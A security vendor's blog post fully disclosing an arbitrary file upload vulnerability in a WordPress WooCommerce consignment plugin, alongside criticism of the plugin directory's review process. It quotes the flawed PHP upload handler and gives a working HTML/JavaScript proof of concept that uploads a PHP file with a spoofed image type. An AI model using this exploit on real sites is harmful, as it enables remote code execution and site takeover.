WordPress Plugin Directory Team Again Allows Incredibly Insecure Plugin in to Directory Despite Doing “Security Review”
Last week we noted that despite every new WordPress plugins being added to the WordPress Plugin Directory having supposed to have gone through a manual review first, including a security review, plugins that should never be approved are. A possible explanation for that is that there is a fabulist running the team handling the directory, Mika Epstein, who is claiming to do reviews they are not. Fairly prominently on the WordPress website, they claim to have reviewed 46,800 plugins, despite that being hard to believe possible to do as a part-time volunteer:
In that previous post, we focused on a vulnerable plugin that also disagreed with a recent claim made by an employee of a prominent WordPress security company, Wordfence, where this was claimed:
“Speaking from experience as I spend a lot of my time looking for vulnerabilities in WordPress plugins, things have definitely been getting more secure from my perspective,” she said. “Today, I frequently find capability checks and nonce checks in all the right places along with proper file upload validation measures in place, and all the good stuff. It’s become harder to find easily exploitable vulnerabilities in plugins and themes that are being actively maintained which is a great thing!”
That claim also runs counter to what we found with another brand new WordPress plugin, Consignment Store For WooCommerce. That was added to the WordPress Plugin Directory yesterday. When it introduced, our monitoring systems flagged it as possibly having a serious vulnerability. We have repeatedly offered to help the team running the directory to have access to a similar capability, so they should have been aware of what we knew about before we did. A quick check confirmed that the plugin contains one of the most serious, if not the most serious type of vulnerability, an arbitrary file upload vulnerability. That would allow a hacker to upload malicious code to a website and then take almost any action possible with the website.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
Our upcoming firewall plugin contains multiple forms of protection that significantly reduce the ability for a vulnerability like this to be exploited, both in a mass hack or in a targeted attack.
Arbitrary File Upload
The relevant code starts with a registration that makes a function in the plugin accessible through WordPress’ AJAX functionality to anyone logged in to WordPress as well as those not logged in:
142 143 | add_action( 'wp_ajax_cwscs_ajax_add_item', array( $this, 'cwscs_ajax_add_item' ), 20 ); add_action( 'wp_ajax_nopriv_cwscs_ajax_add_item', array( $this, 'cwscs_ajax_add_item' ), 20 ); |
The function called, which is located in the file /public/class-cws-consignment-public.php, first runs a nonce check, or it would if that were not commented out:
149 150 151 | public function cwscs_ajax_add_item() { // check referrer //check_ajax_referer( 'cwscs_doajax' ); |
After that, there is code that if the POST input “thistask” is set to “uploadimage” will cause the function cwscs_uploadImg() to run:
151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 | // get post vars // SWITCH ON ACTION, get cat prices if get_cat_prices if (!isset($_POST['thistask'])) { $thistask = "None"; $results = "No task passed"; $status = 0; } else $thistask = sanitize_text_field($_POST['thistask']); //what shall we do if ($thistask == "getcatprices") { $thiscat = sanitize_text_field($_POST['thiscat']); // may be blank $status = 1; $ct = ""; // get store categories $cats = cwscsGetCategories(); if (is_array($cats) || is_object($cats)) { $found = false; if (isset($thiscat) && $thiscat > 0) { $select_cats = array(); foreach ($cats as $i => $cat) { if ($cat->term_id == $thiscat) { $select_cats[] = $cat; $found = true; } } } if (!$found) $select_cats = $cats; $results = cwscsGetPricesByCategory($select_cats); } if (!isset($results[0]['total_items'])) { $status = 0; } if ($status == 1) { // any items? $found = false; foreach($results as $i => $arr) { if ($arr['total_items'] > 0) { $found = true; } } if (!$found) $status = -1; } } // END get_cat_prices elseif ($thistask == "uploadimage") { $status = 1; $results = cwscs_uploadImg(); |
That function in turn will handle uploading a file sent with the request. That code attempts to do “proper file upload validation”, but fails, as it checks the file’s type, which is user input, so an attacker can set it to match whatever is being permitted:
990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 | function cwscs_uploadImg() { $upload_dir_paths = wp_upload_dir(); $baseurl = $upload_dir_paths['baseurl']; $basedir = $upload_dir_paths['basedir']; $file_name = "image_data"; $msg = ""; $status = 1; $allowed = array("image/gif", "image/jpeg", "image/png", "image/x-png", "image/pjpeg"); $img = ""; if (isset($_POST['tmpfilename']) && $_POST['tmpfilename'] != "") $tmpfilename = sanitize_text_field($_POST['tmpfilename']); else $tmpfilename = 'newimg-'.date("Ymdhis").'.jpg'; if ($_FILES[$file_name]['error'] === UPLOAD_ERR_OK) { if ($_FILES[$file_name]['name'] != "") { $type = sanitize_text_field($_FILES[$file_name]['type']); $size = sanitize_text_field($_FILES[$file_name]['size']); if (!in_array($type, $allowed)) { $msg .= '<p class="failmsg">Cannot load image #'.esc_html($i).", since it is a ".esc_html($type).'. We can only accept image files. </p>'; $status = 0; } elseif ($_FILES[$file_name]['size'] > 10000000) { $msg .= '<p class="failmsg">Image #'.esc_html($i).' is too big! Can accept images that are bigger than 10Mb. This one is '.esc_html($size).' bytes. </p>'; $status = 0; } else { // Can we upload it? $tmpfilename = str_replace("%20","_",$tmpfilename); $partimgurl = $baseurl.'/'.date("Y").'/'.date("m").'/'.$tmpfilename; $fullimgurl = $basedir.'/'.date("Y").'/'.date("m").'/'.$tmpfilename; // move the image and return the image name if (move_uploaded_file($_FILES[$file_name]['tmp_name'], $fullimgurl)) { |
The proof of concept below confirms that this is exploitable.
WordPress Causes Full Disclosure
Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will upload the contents of a zip file sent with the request to the current month’s media directory in the /wp-content/uploads/ directory, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<head>
<script>
window.addEventListener('load', function () {
var file = {
dom : document.getElementById("file"),
binary : null
};
var reader = new FileReader();
reader.addEventListener("load", function () {
file.binary = reader.result;
});
if(file.dom.files[0]) {
reader.readAsBinaryString(file.dom.files[0]);
}
file.dom.addEventListener("change", function () {
if(reader.readyState === FileReader.LOADING)
reader.abort();
reader.readAsBinaryString(file.dom.files[0]);
});
function sendData() {
var xmlhttp = new XMLHttpRequest();
var boundary = "blob";
var data = "";
data += "--" + boundary + "\r\n";
data += 'Content-Disposition: form-data; name="thistask"' + '\r\n';
data += '\r\n';
data += 'uploadimage' + '\r\n';
data += "--" + boundary + "\r\n";
data += 'Content-Disposition: form-data; name="tmpfilename"' + '\r\n';
data += '\r\n';
data += 'test.php' + '\r\n';
data += "--" + boundary + "\r\n";
data += 'content-disposition: form-data; '
+ 'name="image_data"; '
+ 'filename="' + file.dom.files[0].name + '"\r\n';
data += 'Content-Type: image/png\r\n';
data += '\r\n';
data += file.binary + '\r\n';
data += "--" + boundary + "--";
xmlhttp.open('POST', 'http://[path to WordPress]/wp-admin/admin-ajax.php?action=cwscs_ajax_add_item');
xmlhttp.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
xmlhttp.send(data);
alert('file upload attempted');
}
var form = document.getElementById("form");
form.addEventListener('submit', function (event) {
sendData();
});
});
</script>
</head>
<body>
<form id="form">
<input id="file" name="file" type="file">
<button>Submit</button>
</form>
</body>
</html>
</body>
</html>